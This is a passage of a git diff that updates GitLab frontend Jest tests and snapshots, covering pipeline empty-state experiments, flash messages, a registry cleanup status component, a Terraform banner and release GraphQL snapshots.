@@ -82,6 +83,10 @@ describe('Pipelines', () => {
const createComponent = (props = defaultProps) => {
wrapper = extendedWrapper(
mount(PipelinesComponent, {
+ provide: {
+ pipelineEditorPath: '',
+ suggestedCiTemplates: [],
+ },
propsData: {
store: new Store(),
projectId: mockProjectId,
@@ -551,52 +556,74 @@ describe('Pipelines', () => {
await waitForPromises();
});
- it('renders empty state', () => {
- expect(findEmptyState().text()).toContain('Build with confidence');
- expect(findEmptyState().text()).toContain(
- 'GitLab CI/CD can automatically build, test, and deploy your code.',
- );
-
- expect(findEmptyState().find(GlButton).text()).toBe('Get started with CI/CD');
- expect(findEmptyState().find(GlButton).attributes('href')).toBe(
- '/help/ci/quick_start/index.md',
- );
+ it('renders the CI/CD templates', () => {
+ expect(wrapper.find(PipelinesCiTemplates)).toExist();
});
describe('when the code_quality_walkthrough experiment is active', () => {
beforeAll(() => {
getExperimentData.mockImplementation((name) => name === 'code_quality_walkthrough');
- getExperimentVariant.mockReturnValue('candidate');
});
- it('renders another CTA button', () => {
- expect(findEmptyState().findComponent(GlButton).text()).toBe('Add a code quality job');
- expect(findEmptyState().findComponent(GlButton).attributes('href')).toBe(
- paths.codeQualityPagePath,
- );
+ describe('the control state', () => {
+ beforeAll(() => {
+ getExperimentVariant.mockReturnValue('control');
+ });
+
+ it('renders the CI/CD templates', () => {
+ expect(wrapper.find(PipelinesCiTemplates)).toExist();
+ });
+ });
+
+ describe('the candidate state', () => {
+ beforeAll(() => {
+ getExperimentVariant.mockReturnValue('candidate');
+ });
+
+ it('renders another CTA button', () => {
+ expect(findEmptyState().findComponent(GlButton).text()).toBe('Add a code quality job');
+ expect(findEmptyState().findComponent(GlButton).attributes('href')).toBe(
+ paths.codeQualityPagePath,
+ );
+ });
});
});
describe('when the ci_runner_templates experiment is active', () => {
beforeAll(() => {
getExperimentData.mockImplementation((name) => name === 'ci_runner_templates');
- getExperimentVariant.mockReturnValue('candidate');
});
- it('renders two buttons', () => {
- expect(findEmptyState().findAllComponents(GlButton).length).toBe(2);
- expect(findEmptyState().findAllComponents(GlButton).at(0).text()).toBe(
- 'Install GitLab Runners',
- );
- expect(findEmptyState().findAllComponents(GlButton).at(0).attributes('href')).toBe(
- paths.ciRunnerSettingsPath,
- );
- expect(findEmptyState().findAllComponents(GlButton).at(1).text()).toBe(
- 'Learn about Runners',
- );
- expect(findEmptyState().findAllComponents(GlButton).at(1).attributes('href')).toBe(
- '/help/ci/quick_start/index.md',
- );
+ describe('the control state', () => {
+ beforeAll(() => {
+ getExperimentVariant.mockReturnValue('control');
+ });
+
+ it('renders the CI/CD templates', () => {
+ expect(wrapper.find(PipelinesCiTemplates)).toExist();
+ });
+ });
+
+ describe('the candidate state', () => {
+ beforeAll(() => {
+ getExperimentVariant.mockReturnValue('candidate');
+ });
+
+ it('renders two buttons', () => {
+ expect(findEmptyState().findAllComponents(GlButton).length).toBe(2);
+ expect(findEmptyState().findAllComponents(GlButton).at(0).text()).toBe(
+ 'Install GitLab Runners',
+ );
+ expect(findEmptyState().findAllComponents(GlButton).at(0).attributes('href')).toBe(
+ paths.ciRunnerSettingsPath,
+ );
+ expect(findEmptyState().findAllComponents(GlButton).at(1).text()).toBe(
+ 'Learn about Runners',
+ );
+ expect(findEmptyState().findAllComponents(GlButton).at(1).attributes('href')).toBe(
+ '/help/ci/quick_start/index.md',
+ );
+ });
});
});
diff --git a/spec/frontend/profile/preferences/components/profile_preferences_spec.js b/spec/frontend/profile/preferences/components/profile_preferences_spec.js
index 9e6f5594d26..f1172a73d36 100644
--- a/spec/frontend/profile/preferences/components/profile_preferences_spec.js
+++ b/spec/frontend/profile/preferences/components/profile_preferences_spec.js
@@ -2,6 +2,7 @@ import { GlButton } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import createFlash from '~/flash';
import IntegrationView from '~/profile/preferences/components/integration_view.vue';
import ProfilePreferences from '~/profile/preferences/components/profile_preferences.vue';
import { i18n } from '~/profile/preferences/constants';
@@ -15,6 +16,7 @@ import {
lightModeThemeId2,
} from '../mock_data';
+jest.mock('~/flash');
const expectedUrl = '/foo';
describe('ProfilePreferences component', () => {
@@ -54,10 +56,6 @@ describe('ProfilePreferences component', () => {
return wrapper.findComponent(GlButton);
}
- function findFlashError() {
- return document.querySelector('.flash-container .flash-text');
- }
-
function createThemeInput(themeId = lightModeThemeId1) {
const input = document.createElement('input');
input.setAttribute('name', 'user[theme_id]');
@@ -82,10 +80,6 @@ describe('ProfilePreferences component', () => {
document.body.classList.add('content-wrapper');
}
- beforeEach(() => {
- setFixtures('<div class="flash-container"></div>');
- });
-
afterEach(() => {
wrapper.destroy();
wrapper = null;
@@ -152,7 +146,7 @@ describe('ProfilePreferences component', () => {
const successEvent = new CustomEvent('ajax:success');
form.dispatchEvent(successEvent);
- expect(findFlashError().innerText.trim()).toEqual(i18n.defaultSuccess);
+ expect(createFlash).toHaveBeenCalledWith({ message: i18n.defaultSuccess, type: 'notice' });
});
it('displays the custom success message', () => {
@@ -160,14 +154,14 @@ describe('ProfilePreferences component', () => {
const successEvent = new CustomEvent('ajax:success', { detail: [{ message }] });
form.dispatchEvent(successEvent);
- expect(findFlashError().innerText.trim()).toEqual(message);
+ expect(createFlash).toHaveBeenCalledWith({ message, type: 'notice' });
});
it('displays the default error message', () => {
const errorEvent = new CustomEvent('ajax:error');
form.dispatchEvent(errorEvent);
- expect(findFlashError().innerText.trim()).toEqual(i18n.defaultError);
+ expect(createFlash).toHaveBeenCalledWith({ message: i18n.defaultError, type: 'alert' });
});
it('displays the custom error message', () => {
@@ -175,7 +169,7 @@ describe('ProfilePreferences component', () => {
const errorEvent = new CustomEvent('ajax:error', { detail: [{ message }] });
form.dispatchEvent(errorEvent);
- expect(findFlashError().innerText.trim()).toEqual(message);
+ expect(createFlash).toHaveBeenCalledWith({ message, type: 'alert' });
});
});
diff --git a/spec/frontend/projects/commit/components/branches_dropdown_spec.js b/spec/frontend/projects/commit/components/branches_dropdown_spec.js
index ab84c3768d0..30556cdeae1 100644
--- a/spec/frontend/projects/commit/components/branches_dropdown_spec.js
+++ b/spec/frontend/projects/commit/components/branches_dropdown_spec.js
@@ -3,6 +3,7 @@ import { shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import Vuex from 'vuex';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import BranchesDropdown from '~/projects/commit/components/branches_dropdown.vue';
Vue.use(Vuex);
@@ -82,7 +83,7 @@ describe('BranchesDropdown', () => {
expect(findSearchBoxByType().exists()).toBe(true);
expect(findSearchBoxByType().vm.$attrs).toMatchObject({
placeholder: 'Search branches',
- debounce: 250,
+ debounce: DEFAULT_DEBOUNCE_AND_THROTTLE_MS,
});
});
});
diff --git a/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap b/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap
index f0d72124379..c255fcce321 100644
--- a/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap
+++ b/spec/frontend/projects/components/__snapshots__/project_delete_button_spec.js.snap
@@ -57,10 +57,6 @@ exports[`Project remove modal initialized matches the snapshot 1`] = `
/>
</gl-alert-stub>
- <p>
- This action cannot be undone. You will lose this project's repository and all related resources, including issues, merge requests, etc.
- </p>
-
<p
class="gl-mb-1"
>
diff --git a/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap b/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap
index c37f6415898..fc51825f15b 100644
--- a/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap
+++ b/spec/frontend/projects/pipelines/charts/components/__snapshots__/ci_cd_analytics_area_chart_spec.js.snap
@@ -21,11 +21,7 @@ exports[`CiCdAnalyticsAreaChart matches the snapshot 1`] = `
option="[object Object]"
thresholds=""
width="0"
- >
- <template />
-
- <template />
- </glareachart-stub>
+ />
</div>
</div>
`;
diff --git a/spec/frontend/projects/settings/components/shared_runners_toggle_spec.js b/spec/frontend/projects/settings/components/shared_runners_toggle_spec.js
index 2d6efe7ae83..0c5bbe2a115 100644
--- a/spec/frontend/projects/settings/components/shared_runners_toggle_spec.js
+++ b/spec/frontend/projects/settings/components/shared_runners_toggle_spec.js
@@ -20,6 +20,7 @@ describe('projects/settings/components/shared_runners', () => {
isDisabledAndUnoverridable: false,
isLoading: false,
updatePath: TEST_UPDATE_PATH,
+ isCreditCardValidationRequired: false,
...props,
},
});
diff --git a/spec/frontend/projects/terraform_notification/terraform_notification_spec.js b/spec/frontend/projects/terraform_notification/terraform_notification_spec.js
new file mode 100644
index 00000000000..be34b207c4b
--- /dev/null
+++ b/spec/frontend/projects/terraform_notification/terraform_notification_spec.js
@@ -0,0 +1,62 @@
+import { GlBanner } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { setCookie, parseBoolean } from '~/lib/utils/common_utils';
+import TerraformNotification from '~/projects/terraform_notification/components/terraform_notification.vue';
+
+jest.mock('~/lib/utils/common_utils');
+
+const bannerDissmisedKey = 'terraform_notification_dismissed_for_project_1';
+
+describe('TerraformNotificationBanner', () => {
+ let wrapper;
+
+ const propsData = {
+ projectId: 1,
+ };
+ const findBanner = () => wrapper.findComponent(GlBanner);
+
+ beforeEach(() => {
+ wrapper = shallowMount(TerraformNotification, {
+ propsData,
+ stubs: { GlBanner },
+ });
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ parseBoolean.mockReturnValue(false);
+ });
+
+ describe('when the dismiss cookie is set', () => {
+ beforeEach(() => {
+ parseBoolean.mockReturnValue(true);
+ wrapper = shallowMount(TerraformNotification, {
+ propsData,
+ });
+ });
+
+ it('should not render the banner', () => {
+ expect(findBanner().exists()).toBe(false);
+ });
+ });
+
+ describe('when the dismiss cookie is not set', () => {
+ it('should render the banner', () => {
+ expect(findBanner().exists()).toBe(true);
+ });
+ });
+
+ describe('when close button is clicked', () => {
+ beforeEach(async () => {
+ await findBanner().vm.$emit('close');
+ });
+
+ it('should set the cookie with the bannerDissmisedKey', () => {
+ expect(setCookie).toHaveBeenCalledWith(bannerDissmisedKey, true);
+ });
+
+ it('should remove the banner', () => {
+ expect(findBanner().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/registry/explorer/components/list_page/cleanup_status_spec.js b/spec/frontend/registry/explorer/components/list_page/cleanup_status_spec.js
new file mode 100644
index 00000000000..c89bb874a7f
--- /dev/null
+++ b/spec/frontend/registry/explorer/components/list_page/cleanup_status_spec.js
@@ -0,0 +1,87 @@
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import CleanupStatus from '~/registry/explorer/components/list_page/cleanup_status.vue';
+import {
+ ASYNC_DELETE_IMAGE_ERROR_MESSAGE,
+ CLEANUP_STATUS_SCHEDULED,
+ CLEANUP_STATUS_ONGOING,
+ CLEANUP_STATUS_UNFINISHED,
+ UNFINISHED_STATUS,
+ UNSCHEDULED_STATUS,
+ SCHEDULED_STATUS,
+ ONGOING_STATUS,
+} from '~/registry/explorer/constants';
+
+describe('cleanup_status', () => {
+ let wrapper;
+
+ const findMainIcon = () => wrapper.findByTestId('main-icon');
+ const findExtraInfoIcon = () => wrapper.findByTestId('extra-info');
+
+ const mountComponent = (propsData = { status: SCHEDULED_STATUS }) => {
+ wrapper = shallowMountExtended(CleanupStatus, {
+ propsData,
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it.each`
+ status | visible | text
+ ${UNFINISHED_STATUS} | ${true} | ${CLEANUP_STATUS_UNFINISHED}
+ ${SCHEDULED_STATUS} | ${true} | ${CLEANUP_STATUS_SCHEDULED}
+ ${ONGOING_STATUS} | ${true} | ${CLEANUP_STATUS_ONGOING}
+ ${UNSCHEDULED_STATUS} | ${false} | ${''}
+ `(
+ 'when the status is $status is $visible that the component is mounted and has the correct text',
+ ({ status, visible, text }) => {
+ mountComponent({ status });
+
+ expect(findMainIcon().exists()).toBe(visible);
+ expect(wrapper.text()).toBe(text);
+ },
+ );
+
+ describe('main icon', () => {
+ it('exists', () => {
+ mountComponent();
+
+ expect(findMainIcon().exists()).toBe(true);
+ });
+
+ it(`has the orange class when the status is ${UNFINISHED_STATUS}`, () => {
+ mountComponent({ status: UNFINISHED_STATUS });
+
+ expect(findMainIcon().classes('gl-text-orange-500')).toBe(true);
+ });
+ });
+
+ describe('extra info icon', () => {
+ it.each`
+ status | visible
+ ${UNFINISHED_STATUS} | ${true}
+ ${SCHEDULED_STATUS} | ${false}
+ ${ONGOING_STATUS} | ${false}
+ `(
+ 'when the status is $status is $visible that the extra icon is visible',
+ ({ status, visible }) => {
+ mountComponent({ status });
+
+ expect(findExtraInfoIcon().exists()).toBe(visible);
+ },
+ );
+
+ it(`has a tooltip`, () => {
+ mountComponent({ status: UNFINISHED_STATUS });
+
+ const tooltip = getBinding(findExtraInfoIcon().element, 'gl-tooltip');
+
+ expect(tooltip.value.title).toBe(ASYNC_DELETE_IMAGE_ERROR_MESSAGE);
+ });
+ });
+});
diff --git a/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js b/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
index 323d7b177e7..db0f869ab52 100644
--- a/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
+++ b/spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js
@@ -3,15 +3,14 @@ import { shallowMount } from '@vue/test-utils';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import DeleteButton from '~/registry/explorer/components/delete_button.vue';
+import CleanupStatus from '~/registry/explorer/components/list_page/cleanup_status.vue';
import Component from '~/registry/explorer/components/list_page/image_list_row.vue';
import {
ROW_SCHEDULED_FOR_DELETION,
LIST_DELETE_BUTTON_DISABLED,
REMOVE_REPOSITORY_LABEL,
- ASYNC_DELETE_IMAGE_ERROR_MESSAGE,
- CLEANUP_TIMED_OUT_ERROR_MESSAGE,
IMAGE_DELETE_SCHEDULED_STATUS,
- IMAGE_FAILED_DELETED_STATUS,
+ SCHEDULED_STATUS,
ROOT_IMAGE_TEXT,
} from '~/registry/explorer/constants';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
@@ -27,7 +26,7 @@ describe('Image List Row', () => {
const findTagsCount = () => wrapper.find('[data-testid="tags-count"]');
const findDeleteBtn = () => wrapper.findComponent(DeleteButton);
const findClipboardButton = () => wrapper.findComponent(ClipboardButton);
- const findWarningIcon = () => wrapper.find('[data-testid="warning-icon"]');
+ const findCleanupStatus = () => wrapper.findComponent(CleanupStatus);
const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
const findListItemComponent = () => wrapper.findComponent(ListItem);
@@ -106,23 +105,22 @@ describe('Image List Row', () => {
expect(button.props('title')).toBe(item.location);
});
- describe('warning icon', () => {
+ describe('cleanup status component', () => {
it.each`
- status | expirationPolicyStartedAt | shown | title
- ${IMAGE_FAILED_DELETED_STATUS} | ${true} | ${true} | ${ASYNC_DELETE_IMAGE_ERROR_MESSAGE}
- ${''} | ${true} | ${true} | ${CLEANUP_TIMED_OUT_ERROR_MESSAGE}
- ${''} | ${false} | ${false} | ${''}
+ expirationPolicyCleanupStatus | shown
+ ${null} | ${false}
+ ${SCHEDULED_STATUS} | ${true}
`(
- 'when status is $status and expirationPolicyStartedAt is $expirationPolicyStartedAt',
- ({ expirationPolicyStartedAt, status, shown, title }) => {
- mountComponent({ item: { ...item, status, expirationPolicyStartedAt } });
+ 'when expirationPolicyCleanupStatus is $expirationPolicyCleanupStatus it is $shown that the component exists',
+ ({ expirationPolicyCleanupStatus, shown }) => {
+ mountComponent({ item: { ...item, expirationPolicyCleanupStatus } });
- const icon = findWarningIcon();
- expect(icon.exists()).toBe(shown);
+ expect(findCleanupStatus().exists()).toBe(shown);
if (shown) {
- const tooltip = getBinding(icon.element, 'gl-tooltip');
- expect(tooltip.value.title).toBe(title);
+ expect(findCleanupStatus().props()).toMatchObject({
+ status: expirationPolicyCleanupStatus,
+ });
}
},
);
diff --git a/spec/frontend/registry/explorer/mock_data.js b/spec/frontend/registry/explorer/mock_data.js
index fe258dcd4e8..27246cf2364 100644
--- a/spec/frontend/registry/explorer/mock_data.js
+++ b/spec/frontend/registry/explorer/mock_data.js
@@ -9,6 +9,7 @@ export const imagesListResponse = [
canDelete: true,
createdAt: '2020-11-03T13:29:21Z',
expirationPolicyStartedAt: null,
+ expirationPolicyCleanupStatus: 'UNSCHEDULED',
},
{
__typename: 'ContainerRepository',
@@ -20,6 +21,7 @@ export const imagesListResponse = [
canDelete: true,
createdAt: '2020-09-21T06:57:43Z',
expirationPolicyStartedAt: null,
+ expirationPolicyCleanupStatus: 'UNSCHEDULED',
},
];
diff --git a/spec/frontend/releases/__snapshots__/util_spec.js.snap b/spec/frontend/releases/__snapshots__/util_spec.js.snap
index e0a1343c39c..b2580d47549 100644
--- a/spec/frontend/releases/__snapshots__/util_spec.js.snap
+++ b/spec/frontend/releases/__snapshots__/util_spec.js.snap
@@ -5,6 +5,7 @@ Object {
"data": Array [
Object {
"_links": Object {
+ "__typename": "ReleaseLinks",
"closedIssuesUrl": "http://localhost/releases-namespace/releases-project/-/issues?release_tag=v1.2&scope=all&state=closed",
"closedMergeRequestsUrl": "http://localhost/releases-namespace/releases-project/-/merge_requests?release_tag=v1.2&scope=all&state=closed",
"editUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.2/edit",
@@ -19,24 +20,29 @@ Object {
"links": Array [],
"sources": Array [
Object {
+ "__typename": "ReleaseSource",
"format": "zip",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.zip",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar.gz",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.tar.gz",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar.bz2",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.tar.bz2",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.2/releases-project-v1.2.tar",
},
],
},
"author": Object {
+ "__typename": "UserCore",
"avatarUrl": "https://www.gravatar.com/avatar/16f8e2050ce10180ca571c2eb19cfce2?s=80&d=identicon",
"username": "administrator",
"webUrl": "http://localhost/administrator",
@@ -57,6 +63,7 @@ Object {
},
Object {
"_links": Object {
+ "__typename": "ReleaseLinks",
"closedIssuesUrl": "http://localhost/releases-namespace/releases-project/-/issues?release_tag=v1.1&scope=all&state=closed",
"closedMergeRequestsUrl": "http://localhost/releases-namespace/releases-project/-/merge_requests?release_tag=v1.1&scope=all&state=closed",
"editUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/edit",
@@ -70,6 +77,7 @@ Object {
"count": 8,
"links": Array [
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/awesome-app-3",
"external": true,
"id": "gid://gitlab/Releases::Link/13",
@@ -78,6 +86,7 @@ Object {
"url": "https://example.com/image",
},
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/awesome-app-2",
"external": true,
"id": "gid://gitlab/Releases::Link/12",
@@ -86,6 +95,7 @@ Object {
"url": "https://example.com/package",
},
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/awesome-app-1",
"external": false,
"id": "gid://gitlab/Releases::Link/11",
@@ -94,6 +104,7 @@ Object {
"url": "http://localhost/releases-namespace/releases-project/runbook",
},
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/linux-amd64",
"external": true,
"id": "gid://gitlab/Releases::Link/10",
@@ -104,24 +115,29 @@ Object {
],
"sources": Array [
Object {
+ "__typename": "ReleaseSource",
"format": "zip",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.zip",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar.gz",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.tar.gz",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar.bz2",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.tar.bz2",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.tar",
},
],
},
"author": Object {
+ "__typename": "UserCore",
"avatarUrl": "https://www.gravatar.com/avatar/16f8e2050ce10180ca571c2eb19cfce2?s=80&d=identicon",
"username": "administrator",
"webUrl": "http://localhost/administrator",
@@ -134,6 +150,7 @@ Object {
"descriptionHtml": "<p data-sourcepos=\\"1:1-1:33\\" dir=\\"auto\\">Best. Release. <strong>Ever.</strong> <gl-emoji title=\\"rocket\\" data-name=\\"rocket\\" data-unicode-version=\\"6.0\\">🚀</gl-emoji></p>",
"evidences": Array [
Object {
+ "__typename": "ReleaseEvidence",
"collectedAt": "2018-12-03T00:00:00Z",
"filepath": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/evidences/1.json",
"sha": "760d6cdfb0879c3ffedec13af470e0f71cf52c6cde4d",
@@ -141,6 +158,7 @@ Object {
],
"milestones": Array [
Object {
+ "__typename": "Milestone",
"description": "The 12.3 milestone",
"id": "gid://gitlab/Milestone/123",
"issueStats": Object {
@@ -153,6 +171,7 @@ Object {
"webUrl": "/releases-namespace/releases-project/-/milestones/1",
},
Object {
+ "__typename": "Milestone",
"description": "The 12.4 milestone",
"id": "gid://gitlab/Milestone/124",
"issueStats": Object {
@@ -173,6 +192,7 @@ Object {
},
],
"paginationInfo": Object {
+ "__typename": "PageInfo",
"endCursor": "eyJyZWxlYXNlZF9hdCI6IjIwMTgtMTItMTAgMDA6MDA6MDAuMDAwMDAwMDAwIFVUQyIsImlkIjoiMSJ9",
"hasNextPage": false,
"hasPreviousPage": false,
@@ -192,24 +212,28 @@ Object {
"count": undefined,
"links": Array [
Object {
+ "directAssetPath": "/binaries/awesome-app-3",
"id": "gid://gitlab/Releases::Link/13",
"linkType": "image",
"name": "Image",
"url": "https://example.com/image",
},
Object {
+ "directAssetPath": "/binaries/awesome-app-2",
"id": "gid://gitlab/Releases::Link/12",
"linkType": "package",
"name": "Package",
"url": "https://example.com/package",
},
Object {
+ "directAssetPath": "/binaries/awesome-app-1",
"id": "gid://gitlab/Releases::Link/11",
"linkType": "runbook",
"name": "Runbook",
"url": "http://localhost/releases-namespace/releases-project/runbook",
},
Object {
+ "directAssetPath": "/binaries/linux-amd64",
"id": "gid://gitlab/Releases::Link/10",
"linkType": "other",
"name": "linux-amd64 binaries",
@@ -247,6 +271,7 @@ exports[`releases/util.js convertOneReleaseGraphQLResponse matches snapshot 1`]
Object {
"data": Object {
"_links": Object {
+ "__typename": "ReleaseLinks",
"closedIssuesUrl": "http://localhost/releases-namespace/releases-project/-/issues?release_tag=v1.1&scope=all&state=closed",
"closedMergeRequestsUrl": "http://localhost/releases-namespace/releases-project/-/merge_requests?release_tag=v1.1&scope=all&state=closed",
"editUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/edit",
@@ -260,6 +285,7 @@ Object {
"count": 8,
"links": Array [
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/awesome-app-3",
"external": true,
"id": "gid://gitlab/Releases::Link/13",
@@ -268,6 +294,7 @@ Object {
"url": "https://example.com/image",
},
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/awesome-app-2",
"external": true,
"id": "gid://gitlab/Releases::Link/12",
@@ -276,6 +303,7 @@ Object {
"url": "https://example.com/package",
},
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/awesome-app-1",
"external": false,
"id": "gid://gitlab/Releases::Link/11",
@@ -284,6 +312,7 @@ Object {
"url": "http://localhost/releases-namespace/releases-project/runbook",
},
Object {
+ "__typename": "ReleaseAssetLink",
"directAssetUrl": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/downloads/binaries/linux-amd64",
"external": true,
"id": "gid://gitlab/Releases::Link/10",
@@ -294,24 +323,29 @@ Object {
],
"sources": Array [
Object {
+ "__typename": "ReleaseSource",
"format": "zip",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.zip",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar.gz",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.tar.gz",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar.bz2",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.tar.bz2",
},
Object {
+ "__typename": "ReleaseSource",
"format": "tar",
"url": "http://localhost/releases-namespace/releases-project/-/archive/v1.1/releases-project-v1.1.tar",
},
],
},
"author": Object {
+ "__typename": "UserCore",
"avatarUrl": "https://www.gravatar.com/avatar/16f8e2050ce10180ca571c2eb19cfce2?s=80&d=identicon",
"username": "administrator",
"webUrl": "http://localhost/administrator",
@@ -324,6 +358,7 @@ Object {
"descriptionHtml": "<p data-sourcepos=\\"1:1-1:33\\" dir=\\"auto\\">Best. Release. <strong>Ever.</strong> <gl-emoji title=\\"rocket\\" data-name=\\"rocket\\" data-unicode-version=\\"6.0\\">🚀</gl-emoji></p>",
"evidences": Array [
Object {
+ "__typename": "ReleaseEvidence",
"collectedAt": "2018-12-03T00:00:00Z",
"filepath": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/evidences/1.json",
"sha": "760d6cdfb0879c3ffedec13af470e0f71cf52c6cde4d",
@@ -331,6 +366,7 @@ Object {
],
"milestones": Array [
Object {
+ "__typename": "Milestone",
"description": "The 12.3 milestone",
"id": "gid://gitlab/Milestone/123",
"issueStats": Object {
@@ -343,6 +379,7 @@ Object {
"webUrl": "/releases-namespace/releases-project/-/milestones/1",
},
Object {
+ "__typename": "Milestone",
"description": "The 12.4 milestone",
"id": "gid://gitlab/Milestone/124",
"issueStats": Object {
diff --git a/spec/frontend/releases/components/app_index_apollo_client_spec.js b/spec/frontend/releases/components/app_index_apollo_client_spec.js
index 002d8939058..096d319c82f 100644
--- a/spec/frontend/releases/components/app_index_apollo_client_spec.js
+++ b/spec/frontend/releases/components/app_index_apollo_client_spec.js
@@ -3,6 +3,7 @@ import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import allReleasesQuery from 'shared_queries/releases/all_releases.query.graphql';
import createFlash from '~/flash';
import { historyPushState } from '~/lib/utils/common_utils';
import ReleasesIndexApolloClientApp from '~/releases/components/app_index_apollo_client.vue';
@@ -12,7 +13,6 @@ import ReleasesEmptyState from '~/releases/components/releases_empty_state.vue';
import ReleasesPaginationApolloClient from '~/releases/components/releases_pagination_apollo_client.vue';
import ReleasesSortApolloClient from '~/releases/components/releases_sort_apollo_client.vue';
import { PAGE_SIZE, CREATED_ASC, DEFAULT_SORT } from '~/releases/constants';
-import allReleasesQuery from '~/releases/graphql/queries/all_releases.query.graphql';
Vue.use(VueApollo);
@@ -21,10 +21,14 @@ jest.mock('~/flash');
let mockQueryParams;
jest.mock('~/lib/utils/common_utils', () => ({
...jest.requireActual('~/lib/utils/common_utils'),
+ historyPushState: jest.fn(),
+}));
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
getParameterByName: jest
.fn()
.mockImplementation((parameterName) => mockQueryParams[parameterName]),
- historyPushState: jest.fn(),
}));
describe('app_index_apollo_client.vue', () => {
diff --git a/spec/frontend/releases/components/app_index_spec.js b/spec/frontend/releases/components/app_index_spec.js
index 3a28020c284..43e88650ae3 100644
--- a/spec/frontend/releases/components/app_index_spec.js
+++ b/spec/frontend/releases/components/app_index_spec.js
@@ -2,14 +2,14 @@ import { shallowMount } from '@vue/test-utils';
import { merge } from 'lodash';
import Vue from 'vue';
import Vuex from 'vuex';
-import { getParameterByName } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import AppIndex from '~/releases/components/app_index.vue';
import ReleaseSkeletonLoader from '~/releases/components/release_skeleton_loader.vue';
import ReleasesPagination from '~/releases/components/releases_pagination.vue';
import ReleasesSort from '~/releases/components/releases_sort.vue';
-jest.mock('~/lib/utils/common_utils', () => ({
- ...jest.requireActual('~/lib/utils/common_utils'),
+jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
getParameterByName: jest.fn(),
}));
diff --git a/spec/frontend/reports/components/__snapshots__/grouped_issues_list_spec.js.snap b/spec/frontend/reports/components/__snapshots__/grouped_issues_list_spec.js.snap
index c932379a253..111757e2d30 100644
--- a/spec/frontend/reports/components/__snapshots__/grouped_issues_list_spec.js.snap
+++ b/spec/frontend/reports/components/__snapshots__/grouped_issues_list_spec.js.snap
